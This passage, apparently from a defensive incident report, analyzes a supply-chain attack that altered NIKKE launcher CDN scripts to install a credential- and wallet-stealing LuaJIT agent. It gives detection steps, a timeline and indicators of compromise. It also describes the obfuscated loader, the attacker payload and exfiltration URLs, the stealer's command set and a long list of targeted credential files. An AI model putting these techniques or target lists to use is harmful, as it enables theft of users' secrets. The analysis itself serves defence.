SRUM (C:\Windows\System32\sru\SRUDB.dat) keeps the bytes each program sent per hour, so it shows how much data left a Windows PC. Open it as administrator with NirSoft NetworkUsageView, or copy it and parse it with SrumECmd, then compare the hours of the agent starts with the usual values for tbs_browser.exe. All agent traffic goes out under that process, not under the game. In the hour of a payload download, nikke_launcher.exe also receives the bundle, for example 337,535 bytes received, 205,135 of them the bundle (Zavodskyja, reported).

With Clash or mihomo in TUN mode, SRUM booked the traffic to the proxy process on one PC, so tbs_browser.exe and nikke_launcher.exe may show nothing there. Huorong's traffic table (applog.db, table AppNetInfoList_days_60) still counted upload and download per program and per day; copy it with its -wal and -shm files first, because it cannot be opened while Huorong runs. Huorong's text logs in C:\ProgramData\Huorong\Sysdiag\log\ (hipsdaemon.log, hipsdaemon.log.old, HipsMain.log), which showed it running through both agent runs on that PC, decode line by line: base64, drop the first 4 bytes, invert every byte, then read as UTF-16LE (Iwassoobsessedwith, reported).

Only exec starts new programs (it is the only module that loads win32.exec and CreateProcessW). The other commands run inside the launcher process through LuaJIT FFI, so Prefetch and process-creation logs cannot show them. The agent stays active as long as the launcher is open, and the launcher often stays open in the notification area while the game runs: one reported agent checked in 22 times over 9 hours.

None of these commands leaves an entry in the launcher logs, so treat every command in the table above as possibly run.

Linux and Steam Deck (Proton)

Proton does not protect you. The automatic scans look for Windows paths, so they find little in a Proton prefix. On the machine analyzed here, the only target present inside the prefix was the NIKKE launcher data.

The remote commands still reach your Linux files. Wine maps your Linux home folder and / as drive letters (Z: at least). It also passes your environment variables to the game, and the agent reads all of them. With exec, ls, cat and download, the operator can read anything your Linux user can read: ~/.ssh, browser profiles, shell config files with API keys, password stores and documents. The Windows Chrome persistence does not apply on Linux, but treat every secret in your home folder and environment as exposed.

Technical details

Stage 1: modified official files

Code was added to four files on Level Infinite's CDN:

Official file Loads
https://sg-gpts.playerinfinite.com/comm/assets/lib/aegis-fix.min.js https://insightjs.com/l.js?f=aegis
https://na-webassets.playerinfinite.com/comm/nikke_launcher/assets/images.7fec4c32.js https://insightjs.com/l.js?f=images
https://na-webassets.playerinfinite.com/comm/nikke_launcher/assets/FeedList.feb647c9.js https://insightjs.com/l.js?f=feedlist
https://na-webassets.playerinfinite.com/comm/assets/lib/vue-bucket.min.js https://insightjs.com/l.js?f=vue

Modified versions (the first two fetched on Nov 3 before the fix, the third on Nov 3 at 18:57 GMT, the fourth recovered by mikansubre from a launcher HTTP cache; size decompressed):

File Size ETag Last-Modified
aegis-fix.min.js 69,731 bytes 50d1861152ea7f6875ffceb7d08445b5 Sun, 27 Sep 2026 06:41:40 GMT
images.7fec4c32.js 4,358 bytes 481e9b5ab8fb93406bf31980b53e0578 Sun, 27 Sep 2026 06:41:57 GMT
FeedList.feb647c9.js 5,808 bytes b7d842200372ad0d9a84ef4cc8511311 Sun, 27 Sep 2026 06:42:03 GMT
vue-bucket.min.js 135,273 bytes dd06875637a29cddd3bae2ba84142c78 Sun, 27 Sep 2026 06:41:44 GMT

Clean versions (no loader and no reference to insightjs; the same ETags on both hosts, with per-host Last-Modified times in the timeline):

File Size ETag Last-Modified SHA-256
aegis-fix.min.js 69,033 bytes 44c576454a5b0b4ed60e1a983aa4e782 Tue, 03 Nov 2026 17:04:28 GMT 83bb8f30c65fd31208089f4107f316e7073c9b1213a8a3b2b512ab99e261de18
images.7fec4c32.js 3,660 bytes 6e5f79cf9b7c364249f9de83ba7fa59e Tue, 03 Nov 2026 17:21:31 GMT 4ad53349f98b86fd3a97bc386b2a1f555baf27c27a270f272404d47c9d7cc065
FeedList.feb647c9.js 5,099 bytes 04ee9800128396ba26f10ca70f170967 Wed, 28 Oct 2026 15:46:09 GMT (uploaded again on Nov 3) 49b625b30b34dc1fa16edba30bdf63c18b6171a0fc4cf030e21ea4e1263ae18a
vue-bucket.min.js 134,592 bytes 63bc3a47b35b80a5d200dc5624d7126e Tue, 03 Nov 2026 17:13:36 GMT 459343517635a96caa109b050361b4d32393e8727b2f54b44749db783feb4199

All versions are served by tencent-cos. Until Nov 4, which copy of FeedList.feb647c9.js a launcher got depended on the CDN server it reached. On Nov 3 between 18:57 and 18:59 GMT, 43.152.43.115 (the address Cloudflare and Google DNS returned to the analyzing machine) served the clean copy. 43.175.144.148 and 43.175.145.181 served the modified copy, SHA-256 2f2aac505f486067af6831d6c75ea74df63acb1ed4e4002709c5962c68bd9203, from a cache dated Sep 30, and returned it for a cache-busting query string too. images.7fec4c32.js was clean on all three servers. At the same check, vue-bucket.min.js was clean on all three (SHA-256 459343517635a96caa109b050361b4d32393e8727b2f54b44749db783feb4199). The modified vue-bucket.min.js has SHA-256 3aaafbd612f04501a6fdb0bb8b2f8a87796223e5584ac18ea5eb180feeafb193.

At 22:26 GMT, FeedList.feb647c9.js was still modified on the same two servers, for both na-webassets and sg-gpts (the sg-gpts copy was modified at 06:42:09 on Sep 27 and cleaned at 15:38:49 on Oct 28, reported). A public urlscan.io scan found by tatsu-t (checked here) still got the modified copy, same SHA-256 and ETag b7d842200372ad0d9a84ef4cc8511311, from a fourth server, 43.175.139.78, for na-webassets on Nov 4 at 00:48:22 GMT. That server had cached it on Oct 15.

The clean copy restored on Oct 28 has the same ETag as the pre-attack original (Last-Modified Jul 2 on one server and Jul 23 on another). It was uploaded again at the origin on Nov 3 at 20:13 (sg-gpts) and 20:19 GMT (na-webassets), with the same ETag 04ee9800128396ba26f10ca70f170967, and the 22:26 check above came after that. From their Date headers, the four servers took the clean copy between 03:12 and 03:21 GMT on Nov 4, most likely after a purge. On Nov 4 at 11:20 GMT all four files were clean on 43.152.43.115, 43.175.144.148, 43.175.145.181 and 43.175.139.78, for both sg-gpts and na-webassets, also with gzip and with a query string.

In late October some CDN servers still had pre-attack copies of FeedList.feb647c9.js and vue-bucket.min.js (the analyzed machine's cache holds the pre-attack vue-bucket.min.js, ETag 4d0dc9cc23650db9631a2280cfa50186), so which loaders a launcher ran depended on the server it reached.

The injected code hides the URL in an integer array (new TextDecoder().decode(new Uint8Array(new Uint32Array([...]).buffer))). It adds a <script> tag, then removes it from the page after loading. If insightjs.com fails, it retries with the TLD replaced by .org (built with String.fromCharCode(111,114,103), found in the modified aegis-fix.min.js, images.7fec4c32.js and FeedList.feb647c9.js). In FeedList.feb647c9.js the 708 added bytes sit just before the module's final export{...} statement, so a check that compares only the end of a file misses them.

The added code logs nothing itself. It loads l.js through a <script> tag and moves to insightjs.org when insightjs.com fails or does not answer within 30 seconds. The empty-source lines in debug.log (startup already in progress, k2f_chan registered, adopted) come from l.js. startup already in progress has only been seen while a payload download was in progress (on the analyzed machine at 00:47:35 GMT, 0.06 s after the download was queued and about a second before lua downloaded; three times on a PC whose four loaders all ran, nikke-check issue #33), but several infected runs do not have it. On that PC l.js logged startup failed: lua download timed out 15.0 seconds after the download was queued and 1.1 seconds before it finished, so it most likely waits about 15 seconds for the payload (reported).

The launcher's V8 code cache (tbs_cache\Code Cache\js\) has loader entries under keys such as https://insightjs.com/l.js?f=aegis, with https://playerinfinite.com/ as origin. They hold no script, only the key, a timestamp and a short marker (about 200 bytes on the analyzed machine), so l.js cannot be recovered from them. The timestamp shows when that loader last ran. The analyzed machine had the aegis and images keys. Other victims reported ?f=feedlist and ?f=vue as well. The launcher's HTTP cache (tbs_cache\Cache\, data_* and f_* files) can also hold the modified files themselves: on the analyzed machine it held the modified aegis-fix.min.js and images.7fec4c32.js. It stores them gzip-encoded, as the CDN sent them, so a plain text search finds nothing. Decompress each gzip stream (it starts with the bytes 1F 8B 08) and search for this string (Iwassoobsessedwith, checked):

String.fromCharCode(111,114,103)

The cached modified aegis-fix.min.js had cache-control: max-age=7776000, 90 days from its Oct 11 Date header.

Stage 2: payload download

l.js calls the launcher's own JS bridge (Srv_DownloadFile) to fetch:

URL https://analytics.insightjs.com/comm/assets/insight.bundle
Size 205,135 bytes
SHA-256 cc0ad05bfe85940a6067b3a72c182d3953339129206634141926d5d0b35973ec (copy fetched 2026-11-03 16:22 GMT)
Headers content-type: application/octet-stream, cache-control: no-store, last-modified: Tue, 03 Nov 2026 14:56:40 GMT

Victims ran different builds. The launcher's tinyget.mem.log keeps the response headers, and nginx builds the ETag from the file's modification time and size in hex. Eight uploads with an ETag are known, all 205,135 bytes (3214f):

Uploaded (GMT, from the ETag) ETag Seen Source
Oct 30 19:34:30 6ae4f146-3214f Served to one PC at 22:49 GMT by the server's Date header. Its agent's c2s_counter then reached 15, and its last recorded server message was at 04:53 GMT on Oct 31 reported
Oct 31 15:38:43 6ae60b83-3214f Downloaded at 17:20 UTC with an agent start Kallontz, nikke-check issue #9, reported
Nov 1 01:06:14 6ae69086-3214f v3s9er, reported
Nov 1 18:08:55 6ae78037-3214f neutralnikke, malevolenttortoise and ImDanny39, reported
Nov 2 17:48:47 6ae8ccff-3214f malevolenttortoise, reported
Nov 2 21:48:40 6ae90538-3214f Ran on the analyzed machine. Also reported on another machine at 10:58 GMT on Nov 3 analyzed machine; reported
Nov 3 12:31:04 6ae9d408-3214f Downloaded at 14:19 GMT vvs, reported
Nov 3 14:56:40 6ae9f628-3214f (by the same rule) The published sample

A copy of 6ae90538 has the same SHA-256 as the published sample, so those two uploads hold the same bytes, and the decompiled code is also what ran on the analyzed machine (k4zzuk11, nikke-check issue #33, reported). With the Oct 23 build described below, 9 uploads of the agent are known, and nobody has posted hashes for most of them, so how many really differ is not known.

Agents started from Oct 23, so older builds exist whose headers nobody has posted. One of them was still served on Nov 1 at 18:03:18, 5 min 37 s before 6ae78037 was uploaded (axm2, reported). The same builds reached Windows and Proton machines, so they are not per OS. The hash above therefore does not match every infection. tinyget.mem.log is a fixed-size buffer rewritten from the start at each launch, so the end of the file can still hold an older session's headers.

The Oct 23 build is different (zbeosf, reported). It was saved as Launcher\log\tinyget\k2f.lua, 165,108 bytes, SHA-256 60fd53ab7356384ba2161b9bc84420cd170905011a2f3ca09f3e38fe3122f3a1, and is still on disk: that build has no payload_cleanup, and whatever deletes the later payloads within seconds did not delete this one either. It has 14 of the 19 commands (no file_chunk, wallet_files, host_facts, chrome_cleanup or payload_cleanup) and no shell-history, Kiro or wallet-extension targets (reported). That matches the Nov 3 build, where those are exactly the extra modules. So 205,135 bytes is not a universal size: any file in Launcher\log\tinyget that starts with the bytes 1B 4C 4A 01 is the agent.

The launcher saves the payload under a misleading .log name in Launcher\log\tinyget\ and runs it. The file is then deleted within seconds (see Check if you are infected), except on a PC where l.js stopped waiting before the download finished (nikke-check issue #33, reported). On early runs reported on Oct 24 it was saved as Launcher\log\tinyget\k2f.lua.

An earlier version of this report listed a 22-byte hex file in %LOCALAPPDATA%\Temp\ (onominan.tmp) as a marker. That was wrong. The same file name with the same kind of content exists in Delta Force Wine prefixes dated 2026-09-20, before the CDN files were changed, so it comes from Tencent software and does not show infection.

Stage 3: the agent

  • Format: LuaJIT 2.0 bytecode (32-bit, stripped), obfuscated with Prometheus. The strings are stored in a shuffled table with custom base64 and base85 encoding.
  • Internal build name: K2F_LUA_BUILD.
  • Windows access through LuaJIT FFI: CredEnumerateW, CryptUnprotectData, NCryptDecrypt, BCrypt*, Reg*, CreateProcessW, CreatePipe, GetEnvironmentStringsW, GetLogicalDrives, GetAdaptersInfo, GDI+.
  • Protocol: JSON requests over k2f_chan ({op: "open", cmd: "<name>", arg: {...}}, then read and write on a session ID). Output is returned base64-encoded in chunks of up to 2 MiB.
  • State: the agent stores k2f.agent.state in the launcher's Local Storage (origin https://www.nikkelauncher.com, tbs_cache\Local Storage\leveldb\). On the analyzed machine it held agent_id (the same UUID as the adopted log line), agent_pass, c2s_counter: 4, an s2c_counter that looks like a microsecond timestamp (2026-11-03 00:47:37 GMT), and this config: poll_interval_seconds: 1800, jitter_seconds: 360, collect_cookies: false. The agent checks in with the server every 30 minutes, give or take 6. The s2c_counter value, 1793666857535416, is 2026-11-03 00:47:37.535 GMT in microseconds, about a second after the agent started (00:47:36.6 GMT in debug.log). Older values of the key stay in the LevelDB .log file until LevelDB compacts it. Victims' files show c2s_counter going up by one per check-in, and the server switching the interval between 600, 1800 and 900 seconds, at the same minutes on unrelated machines, so it is one setting for all agents (reported in the comments). On Oct 23 the interval was 900 s with 90 s of jitter (zbeosf, reported), and on Oct 24 600 s with 150 s. The interval is a server setting kept in k2f.agent.state, not part of the Lua build. The same s2c_counter value on two machines suggests it is the time of a server message, such as a config update, not of each check-in. The Lua payload never reads or writes the two counters, so they are handled by l.js, and what makes c2s_counter go up could not be confirmed from code.
  • Network: the Lua agent has no network code. It loads only advapi32, bcrypt, crypt32, gdi32, gdiplus, iphlpapi, kernel32, ncrypt, psapi, shcore and user32, and only answers requests on k2f_chan. Every check-in and every upload goes out through l.js in the launcher's embedded browser (tbs_browser.exe on Windows), so firewall, proxy and SRUM records show that process (under a TUN proxy, SRUM can book it to the proxy process instead, reported). Victims reported uploads of about 947 KB within seconds of an agent start and 146 MB in one hour (reported, SRUM).
  • browserscan sends the rows of the browser databases (site, user name or cookie name, encrypted value) and the keys, and the server decrypts them. For Chrome and Edge app-bound encryption it first tries the SYSTEM token of services.exe, which only works when the launcher runs as administrator. Firefox key4.db and logins.json are sent whole. It makes one %TEMP%\k2f-bcreds-<unix time>-<random>.db copy per database file (each profile's Login Data, Login Data For Account and, unless collect_cookies is false, Cookies), not one per browser, and deletes it right after reading. The number in the name is the Unix time of the copy, so leftover files show when browserscan ran (Lirikana, checked in the code). The deletion can fail: one PC still had such a copy of a Login Data file, made on Nov 1 at 18:41:25 GMT. 85 of its 86 saved passwords are in Chrome's v10 format, which the server can decrypt with the key browserscan sends (reported; the file's structure was checked here without decrypting anything). screens saves each screenshot as %TEMP%\k2f_screen_<unix time>_<n>.jpg (.png in the Oct 23 build, reported) and deletes it right after reading, so finding none of these files proves nothing. The Oct 23 build also wrote %TEMP%\k2f-keyscan-<time>-<rand>.db copies (reported); the Nov 3 build reads those stores in place. payload_cleanup deletes tinyget*.log and k2f*.lua files in log\tinyget that start with LuaJIT bytecode (1B 4C 4A 01).
  • chrome_install gets the DLL from the server as base64. Before writing it, the agent puts the agent ID after a /px/ placeholder and a 64-hex token over a BEARER000… placeholder, then saves it under a server-supplied SHA-256 folder name. Every installed DLL therefore has its own hash. On two PCs that folder name was the DLL's own SHA-256 (cheejordan and nikke-check issue #32, reported). The agent creates the folder itself and never checks that Chrome is installed. chrome_scan reports Chrome installs, profiles and extension IDs first, and wallet_files reads the extension IDs the server sends, so the server picks the targets.
  • The DLL: a copy from one of those PCs (SHA-256 5cb16618da463b7b9935365e87f7962875d3001d6d08cdddfa9c7823223234cb, 250,368 bytes, x64) was never run. Its imports and strings were read, and the parts below were disassembled (nikke-check issue #32, comment 6714845858). Its PE header TimeDateStamp, 1793299921, is 2026-10-29 18:52:01 UTC, the same time VirusTotal and whykusanagi's copy show. Earlier versions of this write-up said 19:52:01, a local-time reading that stew-iwnl spotted. There is one build, compiled in the same minute as the start of distribution that Level Infinite's notice gives (Oct 29, 18:52 GMT).
    • It exports only DllCanUnloadNow and DllGetClassObject, as a COM server does.
    • Host check: on load it takes the file name of the program that loaded it (GetModuleFileNameW), compares it with chrome.exe (lstrcmpiW), then checks that chrome.dll is loaded (GetModuleHandleW). If either check fails it returns without starting anything, so in Steam, Spotify and the other programs listed in If you are infected it is loaded and does nothing.
    • In Chrome it drives the browser through the Chrome DevTools protocol (Target.setAutoAttach, Runtime.evaluate, Debugger.evaluateOnCallFrame), lists 28 crypto wallet extension IDs (MetaMask, Phantom, SubWallet, Binance, Bitget and others), reads their scripts from disk to find the code that unlocks the vault, and takes the password, recovery phrase or private key when the wallet is unlocked. It also reads input[type=password] fields in web pages and the browser's Local State.
    • It sends JSON by POST to https://analytics.insightjs.com/px/<agent id> with Authorization: Bearer <token>. There is no GET request and no string that looks like a command parser. /px/ is send-only. The DLL does not import WinHttpReadData or WinHttpQueryDataAvailable, and no code resolves them by name. After WinHttpSendRequest and WinHttpReceiveResponse it only calls WinHttpQueryHeaders (the status) and closes the request. It never reads a response body, so the server cannot send it instructions.
    • No self-protection was found. No registry, file copy or process creation functions are imported or resolved by name, so it cannot re-add its key or copy itself.
  • collect_cookies is an argument of browserscan. When it is false, the cookie stores are skipped and saved passwords are read anyway. cat, download and exec can still copy a browser's Cookies file, so false in the saved config does not mean the cookies were safe.
  • Modules: base64, json, channel, dispatch, commands.*, keyscan.*, win32.chrome, win32.creds, win32.exec, win32.extensions, win32.firefox, win32.fs, win32.hook, win32.registry, win32.screens, win32.sysinfo, win32.whoami.

Files the agent reads

The full list of 264 paths, plus browser subpaths, registry keys and file patterns, is in target-paths.md in this gist. Main groups:

Group Targets
SSH and remote access ~\.ssh\* including known_hosts, PuTTY and WinSCP sessions in the registry, FileZilla sitemanager.xml and recentservers.xml
GPG %APPDATA%\gnupg, private-keys-v1.d
AI tools ~\.claude\.credentials.json, %APPDATA%\Claude\claude_desktop_config.json, $CODEX_HOME\auth.json, Gemini CLI oauth_creds.json, GitHub Copilot CLI, Cursor, Windsurf, VS Code (state.vscdb, mcp.json), Kimi, Qwen Code, OpenCode, Aider, Continue.dev
Cloud AWS (~\.aws\credentials, SSO cache), Azure, Google Cloud, Oracle Cloud, DigitalOcean, Hetzner, Linode, Alibaba, Tencent, Huawei, Fly.io, Railway, Vercel, Netlify, Cloudflare Wrangler, Supabase, Neon, PlanetScale, MongoDB Atlas, Snowflake, Databricks
Developer tools GitHub CLI hosts.yml, GitLab CLI, npm, pip, Poetry, Cargo, Composer, NuGet, RubyGems, Gradle, Maven, Docker and Podman auth.json, Kubernetes, Helm, Terraform, Pulumi, Stripe, Twilio, Sentry, Hugging Face, Kaggle
Shell history PowerShell ConsoleHost_history.txt, ~\.zsh_history, fish, psql
Project folders %USERPROFILE%\code, dev, source, Programming, Documents, Desktop, scanned for .env, appsettings*.json, application*.yml, docker-compose.yml, .mcp.json
NIKKE %APPDATA%\nikke_launcher, %APPDATA%\nikke_launcher_hmt
Environment variables 38 variables that point to config files, such as $CLAUDE_CONFIG_DIR, $GH_CONFIG_DIR, $AWS_SHARED_CREDENTIALS_FILE, $KUBECONFIG, $DOCKER_CONFIG
Crypto wallets 28 browser extensions by ID, including MetaMask, Phantom, Coinbase, Binance, OKX, Bybit, Bitget, Trust, Rabby, Rainbow, Keplr, Solflare, Backpack, Tonkeeper, TronLink, Xverse, UniSat, Petra, Ronin and Magic Eden

Infrastructure

Item Details
insightjs.com Registered 2026-09-27 01:59 GMT through PDR Ltd. (PublicDomainRegistry), owner hidden. Name servers ns0.1984.is, ns1.1984.is, ns2.1984hosting.com until the suspension. Registration updated on 2026-10-12. The name was used before: crt.sh lists 19 entries for 14 certificates issued by Amazon for api.insightjs.com and cdn.insightjs.com from 2019-08 to 2022-07 (a precertificate and its final certificate are two entries when both were logged), and the Wayback Machine has a 2017 capture from an IIS server, so it was registered again after it lapsed. Nothing links the earlier owner to this attack (tatsu-t, checked). Suspended by the registrar since 2026-11-05 02:05:09 GMT: status client hold, name servers NS1.SUSPENDED-DOMAIN.COM and NS2.SUSPENDED-DOMAIN.COM (Verisign RDAP, checked on Nov 5 at 09:09 GMT)
Wayback Machine captures On Sep 27 at 04:08:04 GMT http://insightjs.com/ answered 301 to HTTPS, and at 04:56:44 https://insightjs.com/ answered with an nginx 403 page. The server was up about 2.5 hours before the CDN files were modified at 06:41 (tatsu-t, checked)
insightjs.com, analytics.insightjs.com Resolved to 89.127.233.127 until the suspension (last seen on Nov 4 at 22:59 GMT, TTL 120). On Nov 5 at 09:09 GMT the .com name servers answered NXDOMAIN for the apex, www and analytics (checked through Google DNS, and for the apex and analytics also through Cloudflare DNS). Before about Oct 22 both names resolved to 89.126.250.172 (reported by D-Maledicte)
89.126.250.172 1984 ehf, Iceland, network IS-1984-20060308 (89.126.248.0/21), AS44925: same provider, network name and ASN as 89.127.233.127 (RIPE RDAP). Not contacted
Certificates (Cert Spotter) insightjs.com and www.: 2026-09-27 03:00:24. analytics.: 2026-10-06 00:55:00. analytics., portal., www. and the apex: 2026-10-23 15:37:09. The same plus docs.: 2026-10-24 21:15:14 (the certificate the payload server presented on Nov 3)
89.127.233.127 Shut down by 1984 ehf on Nov 3 according to its reply to an abuse report (reported). VPS at 1984 ehf, Iceland. Network IS-1984-20060308 (89.127.232.0/22), reverse DNS vps-89-127-233-127.1984.is. Abuse contact abuse@1984.is
insightjs.org Fallback domain in the loader. Unregistered until Nov 3, then registered at 17:55:42 GMT through Spaceship, Inc., behind Cloudflare (104.21.35.173 and 172.67.178.16, unchanged on Nov 5 at 09:09 GMT, checked through Google DNS). It now serves a multilingual "NIKKE PC Launcher Security Alert" page, and its l.js only shows that warning inside the launcher. A launcher that shows that overlay ran a stale modified file and followed the fallback: FeedList.feb647c9.js in the case reported (Iwassoobsessedwith, reported). The modified aegis-fix.min.js and images.7fec4c32.js have the same fallback. The page says it is an independent notice and links to this report and an NGA thread. /comm/assets/insight.bundle returns 404 there
https://insightjs.com/l.js On Nov 3 at 17:30 GMT it returned a different script for both ?f=aegis and ?f=images: 9,145 bytes, SHA-256 9617d04eb82ad804b55115d123fa3954711f44f318c9cf09c9b4857a24cba644. It looks like a page-speed analytics script that posts to /speed, with no download code
insight.bundle Still served on Nov 3 at 17:30 GMT, same SHA-256 cc0ad05b...73ec, unchanged since 14:56 GMT

Timeline (GMT)

Date Event
2026-09-27 01:59 insightjs.com registered
2026-09-27 03:00 First certificate for insightjs.com and www.insightjs.com
2026-09-27 04:08 insightjs.com answers: 301 to HTTPS, then an nginx 403 over HTTPS at 04:56 (Wayback Machine captures)
2026-09-27 06:41-06:42 Four official files on Level Infinite's CDN modified
2026-09-30 Earliest reported loader lookups of insightjs.com: a Pi-hole log from 06:31:29 (time zone not given, TijuanaFlow) and a NextDNS export that also starts on Sep 30 (AdamCKW), both reported
2026-10-05 07:09 insightjs.com lookup 3 s after a playerinfinite lookup on that day's first launch (luminesce01, Pi-hole, reported)
2026-10-05 to 10-21 insightjs.com reached at 89.126.250.172 from one victim's network (reported)
2026-10-06 00:55 First certificate for analytics.insightjs.com
2026-10-12 insightjs.com registration updated
2026-10-21 to 10-23 insightjs.com moves to 89.127.233.127 (reported); new certificate for the apex, analytics., portal. and www. at 10-23 15:37
2026-10-23 16:40 Earliest agent start reported in the comments (zbeosf), about an hour after the 15:37 certificate
2026-10-24 01:16 Agent start reported on a Linux machine under Proton (payload saved as k2f.lua). A Windows machine logged one at 01:43
2026-10-28 15:46 FeedList.feb647c9.js replaced with a clean copy at the origin. Some CDN servers keep the modified copy they cached earlier (Sep 30 on two servers, Oct 15 on a third)
2026-10-29 18:52 Start of distribution according to Level Infinite's notice (Oct 30 03:52 UTC+9). The persistence DLL was compiled in the same minute (PE header, 18:52:01). Agents had already started on Oct 23 and Oct 24 (rows above, reported)
2026-10-30 19:34 Build 6ae4f146 of insight.bundle uploaded (from its ETag), the earliest 205,135-byte build known. One PC received it at 22:49, and its agent was still in contact with the server at 04:53 on Oct 31 (reported)
2026-10-30 to 11-03 More reported agent starts: Oct 30 18:30, 22:50; Nov 1 18:40, 19:37, 21:14, 21:36, 21:57, 22:15, 23:02, 23:53; Nov 2 20:01, 20:24, 23:17, 23:36; Nov 3 04:27, 07:06, 10:58
2026-10-31 15:38 Build 6ae60b83 of insight.bundle uploaded (from its ETag). An agent started from it at 17:20 (Kallontz, reported)
2026-11-01 01:06 Build 6ae69086 uploaded (from its ETag, reported by v3s9er)
2026-11-01 11:14, 11-02 17:34 Launches on the analyzed machine: loader present, no payload served
2026-11-01 18:08 One build of insight.bundle uploaded (from its ETag)
2026-11-02 17:48 Another build of insight.bundle uploaded (from its ETag, reported)
2026-11-02 21:48 The build that ran on the analyzed machine uploaded
2026-11-03 00:47 Payload served and run on the analyzed machine
2026-11-03 12:31 Build 6ae9d408 uploaded (reported by vvs; an agent started from it at 14:19)
2026-11-03 14:56 Payload file uploaded again on the attacker's server, with the same bytes as the Nov 2 21:48 upload (nikke-check issue #33, reported)
2026-11-03 about 15:00 Level Infinite detects anomalies in the launcher script files, according to its notice (Nov 4 about 00:00 UTC+9)
2026-11-03 16:11 First public warning on the NIKKE community Discord
2026-11-03 16:56 Official files still modified
2026-11-03 17:04-17:23 Level Infinite replaces aegis-fix.min.js, vue-bucket.min.js and images.7fec4c32.js on both hosts (02:04-02:23 UTC+9 on Nov 4 in its notice). sg-gpts: aegis 17:04:28, vue 17:04:28, images 17:23:02. na-webassets: aegis 17:13:37, vue 17:13:36, images 17:21:31
2026-11-03 17:30 l.js on the attacker's server now returns a harmless-looking analytics script. insight.bundle is still online
2026-11-03 17:55 insightjs.org registered by a third party and turned into a warning page
2026-11-03 18:31 89.127.233.127 no longer answers (connection timeout from the analyzing machine)
2026-11-03 18:35 Sweep of 63 official launcher files on playerinfinite.com through 43.152.43.115: no loader code. That server already had the clean FeedList.feb647c9.js, so the sweep missed it
2026-11-03 18:59, 20:23, 22:26 FeedList.feb647c9.js still modified on 43.175.144.148 and 43.175.145.181
2026-11-03 20:13, 20:19 Clean FeedList.feb647c9.js uploaded again at the origin (sg-gpts 20:13, na-webassets 20:19), same ETag 04ee9800128396ba26f10ca70f170967
2026-11-03 23:26 1984 ehf replied to an abuse report that 89.127.233.127 "has been shut down" (reported by seth12619; not checked here, and DNS still pointed to that address at 22:26)
2026-11-04 00:48 A public urlscan.io scan still gets the modified FeedList.feb647c9.js from 43.175.139.78 for na-webassets (found by tatsu-t, checked)
2026-11-04 03:09 CDN cache refresh for the remaining modified file, according to Level Infinite's notice (12:09 UTC+9)
2026-11-04 03:12-03:21 All four CDN servers checked take the clean FeedList.feb647c9.js (from their Date headers), after the cache refresh in the row above
2026-11-04 03:13 Level Infinite posts a statement on X: the launcher's script files may have been tampered with by a third party, and fixes went out around 17:30 GMT on Nov 3
2026-11-04 11:20 All four files clean on 43.152.43.115, 43.175.144.148, 43.175.145.181 and 43.175.139.78, for both hosts
2026-11-04 The launcher loads a rebuilt front-end: nikke.c2f24fe0.js, images.64d80e3e.js, video-js.c239e58d.js, aegis-fix.min.js?t=20261104, vue-bucket.min.js?v=20261104. FeedList.feb647c9.js keeps its URL (checked on a fresh install)
2026-11-04 22:59 insightjs.com and analytics.insightjs.com still resolve to 89.127.233.127 (TTL 120), insightjs.org to Cloudflare 104.21.35.173 and 172.67.178.16 (checked through Google DNS)
2026-11-04 23:00 According to Level Infinite's notice, the official PC client begins to check for the malware at launch and deletes what it finds if the player agrees (Nov 5 08:00 UTC+9)
2026-11-04 23:01-23:11 Level Infinite posts an apology on X (23:01), then its follow-up notice (23:08) and manual check instructions (23:11) on nikke-en.com (times reported by Iwassoobsessedwith)
2026-11-05 02:05 insightjs.com suspended by its registrar (client hold, Verisign RDAP, checked). At 09:09 GMT the .com name servers answered NXDOMAIN for the apex, www and analytics (Google DNS, checked)

Indicators of compromise

# Domains
insightjs.com
analytics.insightjs.com
insightjs.org

# IP
89.127.233.127
89.126.250.172   (used until about Oct 21, reported)

# URLs
https://insightjs.com/l.js?f=aegis
https://insightjs.com/l.js?f=images
https://insightjs.com/l.js?f=feedlist
https://insightjs.com/l.js?f=vue
https://analytics.insightjs.com/comm/assets/insight.bundle
https://analytics.insightjs.com/px/<32 hex>   (Chrome DLL; the hex is the agent ID)

# Modified official files
https://sg-gpts.playerinfinite.com/comm/assets/lib/aegis-fix.min.js
https://na-webassets.playerinfinite.com/comm/nikke_launcher/assets/images.7fec4c32.js
https://na-webassets.playerinfinite.com/comm/nikke_launcher/assets/FeedList.feb647c9.js
https://na-webassets.playerinfinite.com/comm/assets/lib/vue-bucket.min.js
https://sg-gpts.playerinfinite.com/comm/nikke_launcher/assets/images.7fec4c32.js     (cliff101, reported)
https://sg-gpts.playerinfinite.com/comm/nikke_launcher/assets/FeedList.feb647c9.js   (cliff101, reported)
https://sg-gpts.playerinfinite.com/comm/assets/lib/vue-bucket.min.js                 (cliff101, reported)

# Modified copies SHA-256
2f2aac505f486067af6831d6c75ea74df63acb1ed4e4002709c5962c68bd9203  FeedList.feb647c9.js
3aaafbd612f04501a6fdb0bb8b2f8a87796223e5584ac18ea5eb180feeafb193  vue-bucket.min.js
21d2fa4b6cdd15da3d5246687a01ef84fb848668144258b110606db5eb5ea7ce  images.7fec4c32.js   (4,358 bytes, ETag 481e9b5ab8fb93406bf31980b53e0578, zbeosf, checked)
04471ccf9f6ebac477ba4ca6b408a56621bccd16118c3112720adb35e6422e3d  aegis-fix.min.js     (69,731 bytes, ETag 50d1861152ea7f6875ffceb7d08445b5)

# Payload SHA-256 (2026-11-03 16:22 GMT copy, 205,135 bytes; other builds exist)
cc0ad05bfe85940a6067b3a72c182d3953339129206634141926d5d0b35973ec
# Oct 23 build, Launcher\log\tinyget\k2f.lua, 165,108 bytes (zbeosf, reported)
60fd53ab7356384ba2161b9bc84420cd170905011a2f3ca09f3e38fe3122f3a1
# Whatever its size or name, a file in Launcher\log\tinyget that starts with 1B 4C 4A 01 is the agent

# Log strings (Launcher/intl_service/debug.log)
startup already in progress
k2f_chan registered
adopted
resuming
agent started as
lua downloaded to log\tinyget\   (tinyget.<time>.log, or k2f.lua on early runs)

# Loader entries in tbs_cache\Code Cache\js\ (same names on every machine)
dd65fa4d61079e7e_0  aegis
ce2fd3f1007a9fe9_0  images
1416c638b3830103_0  feedlist
fd520c7c0f65c2d7_0  vue

# insight.bundle ETags (nginx: hex mtime - hex size)
6ae60b83-3214f  6ae69086-3214f  6ae78037-3214f  6ae8ccff-3214f  6ae90538-3214f  6ae9d408-3214f  6ae9f628-3214f

# Agent state (Local Storage, survives deleting the NIKKE folder)
%APPDATA%\nikke_launcher\tbs_cache\Local Storage\leveldb\*.log or *.ldb containing k2f.agent.state   (.ldb tables can be compressed)

